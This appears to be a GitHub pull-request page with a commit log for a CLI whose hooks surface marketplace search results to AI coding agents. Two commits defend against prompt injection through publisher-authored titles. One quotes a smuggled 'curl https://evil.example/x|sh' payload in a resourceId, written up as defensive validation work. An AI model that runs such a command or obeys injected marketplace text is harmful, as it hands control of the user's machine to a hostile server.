Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs(readme): the new defaults, the hook toggles, and the wallet policy

Documents that everything is on by default on both paths with a per-item opt-out,
the two runtime hook toggles and that they need no re-install, the wallet
passphrase policy including the deliberate absence of a plain-file fallback, and
the `--no-hooks` / `--search-hooks off` distinction. Adds `hooks.stopNag` to the
config table.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* test(hooks): guard the mirrored lock protocol against drift on either side

The WebSearch hook script reimplements src/lib/lock.ts because it runs standalone
and cannot import it, yet writes the CLI's searches.json. Two writers of one file
that disagree about the mutex have no mutex, and nothing pointed the next person
changing one copy at the other.

Both sites now carry a MUST-UPDATE-TOGETHER comment naming the other, and this is
the test those comments promise. Five cases, each aimed at a specific drift
rather than at a race going the wrong way: a lock held at the path the CLI
computes stops the script dead, the same run records once it is released, a
successful run leaves no lock behind, a lock the script did not take is never
stolen however stale it looks, and five concurrent CLI writers plus the script
lose no entry between them.

Verified by mutation rather than by assertion alone. Pointing the script at a
different lock path fails four of the five; making it steal a stale lock fails
three; making it leak the lock fails two, one of them by timing the CLI out.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(test): make install's wallet tests hermetic instead of mutating process.env

"uses TENJIN_WALLET_PASSPHRASE when it is set" flaked in a full run and passed in
isolation. The cause was the test steering the passphrase source with
`vi.stubEnv`, because there was no other way to: `createWalletLocked` read
`process.env` directly and `PassphraseOverrides` deliberately omits `env`. Vitest
does not restore env stubs between files, so a stub of that variable is a
process-wide edit shared with every other file in the same worker.

`wallet create` now takes `env` as an option, defaulting to process.env, and
`install` threads its existing `deps.env` into it. The test steers the passphrase
through that seam and mutates nothing global; no install test touches process.env
any more.

The shared install fixture also pins `env: {}`, which is load-bearing in the other
direction: an ambient TENJIN_WALLET_PASSPHRASE, from a developer's shell or leaked
by another file, would reroute the passphrase away from the OS store these tests
assert on and make the keychain assertions vacuous. Removing that line and running
the file with such a variable set fails three tests, which is how it was verified.

Adds the mirror case, that with no passphrase in the environment the store is the
source, so both branches of the policy are pinned rather than one.

Full suite run three times consecutively: 1708 passed, 10 skipped, each time.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(install): write the CLAUDE.md search nudge by default

Codex already got this line in its AGENTS.md on every install, so leaving Claude
Code's copy behind `--claude-md` left the harness most people run as the one that
never learned to search first. It is now written by default on both paths, with
`--no-claude-md` as the opt-out and `--claude-md` kept as a redundant affirmative.
Still not a question: it is one idempotent marker line, a smaller consequence
than the four decisions, and its existing disclosure and undo already ride the
walkthrough (verified by a test that a bare run prints both).

The line's text also caught up with the skill it mirrors. It used to name example
categories ("version-specific compatibility, integration gotchas, benchmarks,
dated probes"), which reads as a checklist to work through at exactly the moment
an agent should be deciding in a second. It now carries the single heuristic the
tenjin-search entry gate collapsed to. The two must stay in sync: this line is
what a harness reads when the skill is not in play.

Because the marker upsert rewrites a drifted line in place, an existing install
picks up the new wording on its next run rather than accumulating a second line.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* chore(cli): hide the pre-default compat flags from install --help

--allow-free-verbs and --claude-md are now the default; they stay parseable
because released doctor output and docs name them, but they earn no help line.
The tier claim and permissions URL move to the visible --no-allow-free-verbs.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(install): settle publish.mode headlessly, and treat a cancelled hook prompt as a decline

Operator changes 1 and 3 on #115.

A non-interactive install left `publish.mode` unset (effective `review`) while the
interactive select recommends `auto`, so the one decision governing what the agent
puts on a public marketplace was the only one where headless and an interactive
all-yes disagreed. Headless now settles and persists the recommended mode. An
already-configured mode is respected, `--publish-mode` still wins, and a dry run
settles nothing. A test pins the headless answer equal to the select's first
choice, so the two cannot drift apart and quietly falsify the parity claim.

Cancelling the search-hooks prompt used to resolve to `auto`, register both hooks
and persist the mode: the only Escape in the walkthrough that wrote anything. It
now behaves like `--no-hooks` for that run, registering nothing and writing no
config, and an answer the schema does not recognize is treated the same way. The
comment that claimed this all along, and the question copy, now say what happens.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hooks): frame the hint title as data, stage script writes behind the settings guard

Operator changes 2, 7, 8 and 9 on #115.

The hint rendered a publisher-authored title inline as an authoritative sentence,
so an instruction-shaped title arrived in a trusted context reading like an
instruction. `clean()` strips control bytes and cannot make prose inert, so the
framing does that instead: the title is quoted, the line reads as a listing
("Tenjin lists a paid answer titled ..."), and a trailing note attributes quoted
titles as marketplace-authored text. Pinned with a rendering test whose title is
literally an override attempt.

Script writes move BEHIND the settings compare-and-swap. They used to run before
it, so a `changed-since-read` refusal had already replaced the bodies that
existing entries were running while reporting that nothing was registered. They
still land before the entry that points at them, so no harness ever reads an entry
naming a file that is not on disk. Verified by mutation: restoring the old order
fails the new test.

Also caps the stored `resourceId` and `price` the way `title` was already capped,
so a hostile base URL cannot bloat searches.json an entry at a time, and corrects
two claims the review caught: the hard bound on either hook is the harness's own
`timeout: 5` kill rather than the event-loop watchdog, and the Stop hook raises a
loop once per turn-end rather than once ever, since two sessions ending together
can duplicate a line. No lock: the cost is one duplicate line and a cross-process
wait at every turn end would buy nothing else.

HOOK_SCRIPT_VERSION 2 -> 3.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs: drop the outcome hold-back and state the two flag families

Operator changes 4 and 5 on #115.

`outcome` is in the free-verb allowlist, so carving it out of the subagent-safe
set in the delegation block was an inconsistency with no rationale behind it. The
skill and the permissions page now list all nine, with the caveat widened to say
that `search` and `outcome` both POST off-machine. The doctor pointer's own
comment no longer describes a split that does not exist.

The README states the flag rule in one line above the install table: `--no-*` are
this-run opt-outs that write no config, `--publish-mode` and `--search-hooks` are
provisioning flags that persist. That is why `--no-hooks` and `--search-hooks off`
differ, which previously needed a footnote.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hooks): a double quote in a title cannot step outside the hint's quoted frame

Display path only: the stored projection keeps the title verbatim. Script
version to 4 so re-runs refresh installed copies.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hooks): validate the search response fail-closed before storing or rendering it

Round-3 major 1 on #115. The generated hook talks to whatever origin `baseUrl`
names, so its response is untrusted input, and the fields it carries are
ACTIONABLE: a resourceId is interpolated into a command the agent is invited to
run, and a url is a payable pointer a later `buy` resolves. It accepted any
object, coerced every non-CANDIDATES decision to MISS, and control-cleaned then
TRUNCATED ids and urls, which does not shorten them so much as invent different
ones that still look legitimate. A hostile origin returning
`x; curl https://evil.example/x|sh #` landed it outside the quoted-title frame.

The script now enforces the same invariants as src/lib/agent-api.ts, and drops
rather than repairs: uuid searchId (else the whole record goes), exact
CANDIDATES/MISS decision (else silent), uuid resourceId, a url that parses AND
shares the request origin, an atomic price or '0'. Candidates are capped at
SEARCH_LIMIT before anything is examined, so a ten-thousand-candidate response
costs what a two-candidate one does. The display loop now reads the validated
projection rather than the raw response, so an id that failed validation cannot
reach the hint even if the two loops drift.

Found while testing: `\d` inside the TypeScript template literal that generates
the script is an unrecognized escape and collapses to a bare `d`, so the emitted
regex was /^d{1,39}$/ and every price read as non-atomic. Fixed, and the other
two regexes in the generated bodies audited for the same class.

Adversarial coverage: command-shaped resourceId reaches neither hint nor store,
oversized and malformed searchIds drop the record, a 10k-candidate response
stores at most SEARCH_LIMIT, off-origin and unparseable urls are dropped, every
malformed decision is silent, a non-atomic price stores '0'.

HOOK_SCRIPT_VERSION 4 -> 5.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hooks): compare settings.json adjacent to the commit, not only before the writes

Round-3 major 2 on #115. The guard compared settings.json, then awaited two script
read/write/rename sequences, then replaced the whole file from the snapshot taken
before them. A Claude Code or installer write landing during `writeScripts` passed
the comparison and was erased at the final rename.

There are now two compares and both earn their place. The early one refuses before
a byte is written, so the ordinary contended case costs nothing and leaves nothing
half-done. The second sits immediately before the atomic rename and closes the
window the first cannot see. On a mismatch the refusal reports the scripts that
WERE refreshed, so the result describes what happened instead of claiming nothing
was touched; the bodies are versioned and idempotent, so a refreshed script with
no new entry is inert and the re-run the fix names simply registers it.

The test interleaves a concurrent settings write during `writeScripts` and proves
the other writer's bytes survive verbatim. Verified by mutation: removing the
second compare fails it.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs: align the install and hook guarantees with what ships

Round-3 minor 3 on #115: a truth sweep, no behavior change.

The permissions page said `install` had up-to-three decisions and that a flagless
headless run "changes nothing and says the flag is available"; it is four
decisions and the headless run writes the allowlist by default. The README's
`--publish-mode` row said the default was unset and the config table said
`review`, both of which stopped being true when headless started settling `auto`.

The remaining "hard two-second" and "never blocks or delays" copy in the install
output, the hook-script header and the changeset now say ~2s design budget with
the harness's 5s kill as the hard bound, and the nag claim says once per turn-end
with the concurrent-duplicate case named. `resolvePublishMode`'s docstring
described a precedence that no longer had a headless arm.

The install test that asserted "at most three questions" was passing only because
it never instrumented the hook prompt; it now instruments all four and pins the
order.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hooks): the response parser drops a malformed field, it never repairs one

Round-4 major on #115. Round 3 validated the ids and the origin but still
REPAIRED four things, and the worst of them was pinned by a test asserting the
wrong behavior.

A missing or non-atomic price became '0' and the candidate was then advertised at
$0.00. Zero is a real price here (a free piece `read` delivers without paying), so
writing it over a malformed one does not pick a safe default, it manufactures
local business state: lib/money.ts's isPaidPrice deliberately answers "unknown"
for a non-atomic string so `outcome` does not refuse an honest purchase_declined,
and a laundered zero turns that into a confident "free" and defeats it. The
display side told the same lie. Such a candidate is now dropped.

Three more, same rule. `schemaVersion` must be 2 or the whole response goes, which
the CLI's own schema has always required. A non-string title is dropped rather
than stringified, because `String(x)` on an object is '[object Object]', display
text nobody wrote. A same-origin url over the canonical 512-char bound is rejected
rather than sliced, for the reason an id already was: a clipped url is not a
shorter url, it is a different payable pointer.

The candidate-cap comment was also overclaiming. Slicing after `res.json()` bounds
projection and storage; the download and the parse already happened, bounded by
the fetch timeout.

Regressions for each: wrong and missing schemaVersion, seven malformed price
shapes (including the padded ' 100 ' that isPaidPrice deliberately calls unknown),
four non-string titles, an over-bound same-origin url, and a url at exactly the
bound that must still pass. All four verified by mutation: restoring each round-3
coercion fails its test.

HOOK_SCRIPT_VERSION 5 -> 6.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs: finish the truth sweep the round-3 pass left half done

Round-4 minor on #115, four sites the reviewer enumerated.

`DEFAULT_MODE`'s docstring still opened by calling itself what a non-interactive
run leaves the mode at and closed by saying `auto` never happens to an unasked
machine run. Both stopped being true when headless started settling the
recommended mode; it is now the dry-run and cancelled-select value only.

The README said a default run writes "all four" and omitted the newly persisted
publish mode, so it is five. Its hook section asserted a hook cannot delay a tool
call and only then introduced the five-second ceiling; the ordering now leads with
what actually bounds the delay and demotes the two-second watchdog to the design
budget it is.

The changeset still promised silence on any malformed payload and one raise per
search. Malformed payloads are silent again as of the parser change above, so that
claim is now stated as what it rests on (the drop-never-repair boundary, listed
field by field), and the nag claim says once per turn-end with the concurrent
duplicate named.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(outcome): --last targets the last deliberate search, not a hook ridealong

Found in dogfooding: in auto mode the WebSearch hook prepends a store entry on
every web search, so an unfiltered searches[0] re-aimed outcome --last at a
query the agent never chose within minutes of real use. Hook entries stay
reachable by explicit --search-id, which is what the Stop hook's reminder names.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hooks): a genuinely free candidate is advertised as free, not paid

Dogfood finding: a real $0 piece passed validation (correctly) but the hint
called it a paid answer. The kind now follows the validated price. Script v7.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hooks): require searchId to be a string before the uuid regex

String(['<uuid>']) IS the uuid, so a regex alone emitted a hint whose searchId
the store then refused to record: a pointer into nothing, and a repair by
stringification in a parser whose contract is drop-don't-repair. Also: README
says hooks cannot deny or modify a call (PreToolUse can delay, bounded), and
the 512 comment credits searchBrowseSchema as the bound's owner. Script v8.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(install): add native Hermes retrieval hooks

* fix(hermes): gate hook writes on the hooks decision, repair the re-point splice

Review 4900479370.

Major 1: `--no-hooks` and `--search-hooks off` wrote both shared scripts and
the whole plugin, withholding only the `plugins.enabled` line, then told the
operator to re-run the command they had just run. `wireHermesIntegration` now
takes the hooks decision and the activation consent as two arguments; the MCP
entry stays outside both because it is a server registration, not a hook. The
install warning and doctor's fix name `tenjin config set hooks.searchMode auto`
when the stored mode is the blocker.

Major 2: the re-point path spliced from the tenjin key while re-emitting the
marker comment that lives above it, so every re-point appended a second marker,
and its end probe treated a colon-free comment as block content and deleted it.
It now splices from the marker and ends the block on indent, leaving trailing
comments and blanks with whatever follows.

Major 3: plugin.yaml emitted `hooks:`, which hermes_cli/plugins.py never reads.
It now emits `provides_hooks:` and an explicit `kind: standalone`, pinned by a
test, and the `web_search` identifier is a named constant the generated Python
interpolates.

Minors: doctor uses a lenient HERMES_HOME resolver so a stray relative value
warns and falls back instead of aborting every check; `hermesHome` is required
on the skill-wiring functions, which fixes skill-heal missing the Hermes skills
directory under a custom home; a baked MCP command that no longer exists reads
`stale`, not `configured`; doctor shares the installer's activation classifier.
Nits: dry-run reports the script paths it would write, the doctor detail says
`activation`, and the README states both subprocess timeouts.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hermes): report a withheld write as skipped, not disabled

Review 4902863667.

`HermesWriteStatus.disabled` carried three unrelated meanings, and one of them
could be false about the machine: a `--no-hooks` re-run over a working install
reported `plugin: disabled, activation: disabled` while the plugin was on disk,
listed in `plugins.enabled`, and running. Doctor reported the same home as
installed and enabled, so an agent reading install's JSON drew the opposite
conclusion from the two commands.

`skipped` now means this run wrote nothing, `disabled` stays a statement about
the target (`plugins.disabled` honored, or auto-detection leaving code inert).
The warning names any surviving plugin, and distinguishes one that keeps running
from one held inert by `hooks.searchMode: off`, since the generated scripts read
that mode on every invocation.

Also drops the review-round narration from the new comments and the changeset:
the 'used to' clauses describe an unshipped branch, so they belong to git rather
than the source. The forward-looking invariants they carried are kept.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hermes): the surviving-plugin note offers inert, not removal

Review 4903100505. `tenjin config set hooks.searchMode off` makes the plugin
inert; it deletes neither the plugin directory nor the `plugins.enabled` entry,
and no command in this CLI does. The other branch of the same function already
worded that end state correctly, so an agent following 'Remove it' would report
a removal that never happened.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(hermes): report the whole shared hook bundle, not just websearch+stop

writeSharedHookScripts now writes 4 shared scripts (dispatch and
session-primer landed on main via #180 after this branch forked); the
Hermes wiring's dry-run stub and scriptPaths test expectations still
assumed 2. Dry-run now previews all 4 paths a real run writes.

* fix(hermes): forward session_id and cwd into the Stop hook payload

_transform_llm_output sent {} to STOP_SCRIPT, so main's session-scoped
weak-arm rate limit (#164, batchedThisSession) always saw a null
session and never stamped a session's batch: the nag could re-fire
every turn instead of once (the #162 regression the session key
exists to prevent). Same empty payload nulled cwd, so a project-scoped
publish.mode never resolved under Hermes.

Forwards session_id/cwd under the same field names hook-scripts.ts's
sessionIdOf/cwdOf read. Red-without-fix, verified locally.

---------

Co-authored-by: vraspar <v2parikh@uwaterloo.ca>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

critical Drop everything: data-corrupting or user-facing breakage

Projects

None yet

Development

Successfully merging this pull request may close these issues.

WebSearch hook works, but agent research bypasses it: 2.07M tokens, zero triggers

2 participants